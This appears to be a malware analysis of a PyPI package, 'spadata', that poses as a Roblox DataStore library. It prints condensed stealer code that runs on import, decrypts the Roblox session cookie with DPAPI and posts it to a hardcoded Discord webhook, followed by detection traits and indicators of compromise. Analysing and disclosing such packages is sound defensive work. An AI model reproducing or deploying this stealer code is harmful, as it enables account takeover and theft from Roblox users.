spadata sells itself as a Python library for managing your Roblox DataStore and ships none of it — no storage code, no API calls, just a cookie grab that fires the moment you import spadata, with the README misspelling its own name «spaysdata» along the way.
Package metadata
| Field | Value |
|---|---|
| Name | spadata |
| Version | 0.1.1 |
| Summary | Библиотека для работы с DataStore в Roblox |
| Description | Custom Python library for Roblox DataStore. |
| Requires-Python | >=3.8 |
| Requires-Dist | requests; pywin32; sys_platform == "win32" |
| Entry point | spadata-run = spadata.main:retrieve_roblox_cookies |
| Generator | setuptools 82.0.1 |
| Tag | py3-none-any |
One import, one cookie, one webhook
The wheel holds two files and no product: __init__.py calls the stealer at import time inside a bare try/except, so the theft fires when Python loads the package and any error dies silently. It copies Roblox's local cookie store robloxcookies.dat to the temp folder, reads the base64 field, and — since Roblox keeps it DPAPI-encrypted — calls win32crypt.CryptUnprotectData to unlock the loot before taking it. The cleartext .ROBLOSECURITY cookie then posts straight to a hardcoded Discord webhook, captioned Decrypted Content:; replayed in a browser it walks past the password and 2FA, handing over the Robux, the inventory, and the resale value in one string.
# __init__.py — import is the trigger
from .main import retrieve_roblox_cookies
try: retrieve_roblox_cookies() # «выполнится АВТОМАТИЧЕСКИ» — runs on import
except Exception as e: print(e)
# main.py — copy, decrypt, post (condensed)
webhook = "https://discord.com/api/webhooks/1501511921185325186/0-lN4d-…"
shutil.copy(roblox_cookies_path, dst) # %USERPROFILE%\...\LocalStorage\robloxcookies.dat
encoded = json.load(open(dst))["CookiesData"]
clear = win32crypt.CryptUnprotectData(base64.b64decode(encoded), None, None, None, 0)[1]
requests.post(webhook, json={"content": "Decrypted Content:"})
requests.post(webhook, json={"content": clear.decode("utf-8", errors="ignore")})
| Trait | What it caught | |
|---|---|---|
objectives/exfiltration/stealer/credential/platform |
Reads Roblox's local cookie store robloxcookies.dat |
|
objectives/exfiltration/stealer/credential/dpapi |
DPAPI-decrypted secret posted to a Discord webhook | |
objectives/command-and-control/channel/messaging |
Hardcoded discord.com/api/webhooks/... URL |
|
objectives/credential-access/browser/dpapi |
win32crypt.CryptUnprotectData on the decoded blob |
|
micro-behaviors/data/control-flow/module-exec |
Import-time call silenced by try/except | |
objectives/anti-static/obfuscation/code-metrics/source |
Russian comments trip the non-ASCII ratio |
There's no persistence, no second stage, and no obfuscation past the try/except — just a stickup that works because the mark came for a shortcut and was never going to open __init__.py.
Indicators
| Type | Value |
|---|---|
| Wheel | spadata-0.1.1-py3-none-any.whl |
| Wheel SHA-256 | d6bd7475105b0c2b561870a1c1f1b16bdbe811867340a1ebbc995db8f7fc2bff |
main.py SHA-256 |
cafc8dc7fb047e6a59826974a0921f5c45022bb77a85af8502e1a5105eb3a1c8 |
__init__.py SHA-256 |
44788ac7ba1cb54093f6edf2382da25047564417ef4223ff94c110116c83c90c |
| Discord webhook | https://discord.com/api/webhooks/1501511921185325186/0-lN4d-dYtJXAI0Wzf_ay225eK_DzM3Prp8-uTh4CVVt-1gDPJHG0SEZL7Pe9GCAQcOT |
| Cookie file read | %USERPROFILE%\AppData\Local\Roblox\LocalStorage\robloxcookies.dat |